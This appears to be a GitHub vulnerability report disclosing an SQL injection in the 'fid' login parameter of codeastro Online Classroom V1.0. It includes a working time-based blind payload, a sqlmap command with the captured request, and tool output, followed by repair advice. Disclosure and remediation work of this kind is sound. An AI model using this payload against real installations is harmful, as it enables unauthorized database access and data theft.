

 yuji0903 / silver-guide Public[Code](#) [Issues](#) 22 [Pull requests](#) [Actions](#) [Projects](#) [Security and quality](#)[New issue](#)

codeastro Online Classroom V1.0 /OnlineClassroom/facultylogin SQL injection #19

[Open](#)

wangchaoxing opened 2 weeks ago



codeastro Online Classroom V1.0 /OnlineClassroom/facultylogin SQL injection

NAME OF AFFECTED PRODUCT(S)

- Online Classroom

Vendor Homepage

- <https://codeastro.com/online-classroom-in-php-with-source-code/>

AFFECTED AND/OR FIXED VERSION(S)

submitter

- snife

Vulnerable File

- /OnlineClassroom/facultylogin

VERSION(S)

- V1.0

Software Link

- <https://codeastro.com/online-classroom-in-php-with-source-code/>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/OnlineClassroom/facultylogin' file of the 'Online Classroom' project. The reason for this issue is that attackers inject malicious code from the parameter 'fid' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Online Classroom", I discovered a critical SQL injection vulnerability in the "/OnlineClassroom/facultylogin" file. This vulnerability stems from insufficient user input validation of the 'fid' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

Vulnerability details and POC

Vulnerability Ionameion:

- 'fid' parameter

Payload:

```
---  
Parameter: fid (POST)  
  Type: time-based blind  
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  Payload: fid=123' AND (SELECT 7675 FROM (SELECT(SLEEP(5)))QUEx) AND 'WAUK'='WAUK&pass=123  
---  
---
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -r 1.txt --batch  
  
POST /OnlineClassroom/loginlinkfaculty HTTP/1.1  
Host: 192.168.60.130  
Content-Length: 16  
Cache-Control: max-age=0  
Origin: http://192.168.60.130  
Content-Type: application/x-www-form-urlencoded  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apr  
Referer: http://192.168.60.130/OnlineClassroom/facultylogin  
Accept-Encoding: gzip, deflate, br  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: PHPSESSID=99qv6i8ev8vsg67iu89kbm6i22  
Connection: keep-alive  
  
fid=123&pass=123
```

```
root@kali:~# sqlmap -r 1.txt --batch
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:36:06 /2026-03-19/
[11:36:06] [INFO] parsing HTTP request from '1.txt'
[11:36:06] [INFO] resuming back-end DBMS 'mysql'
[11:36:06] [INFO] testing connection to the target URL
got a refresh intent (redirect like response common to login pages) to 'facultylogin.php'. Do you want to apply it from now on? [Y/n]
[11:36:06] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
Parameter: fid (POST)
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: fid=123' AND (SELECT 7675 FROM (SELECT(SLEEP(5)))QJEX) AND 'WAUK'='WAUK&pass=123
```

Suggested repair

1. Use prepared statements and parameter binding:

Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. Input validation and filtering:

Strictly validate and filter user input data to ensure it conforms to the expected format.

3. Minimize database user permissions:

Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin') for daily operations.

4. Regular security audits:

Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

[Sign up for free](#) to join this conversation on [GitHub](#). Already have an account? [Sign in to comment](#)

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants

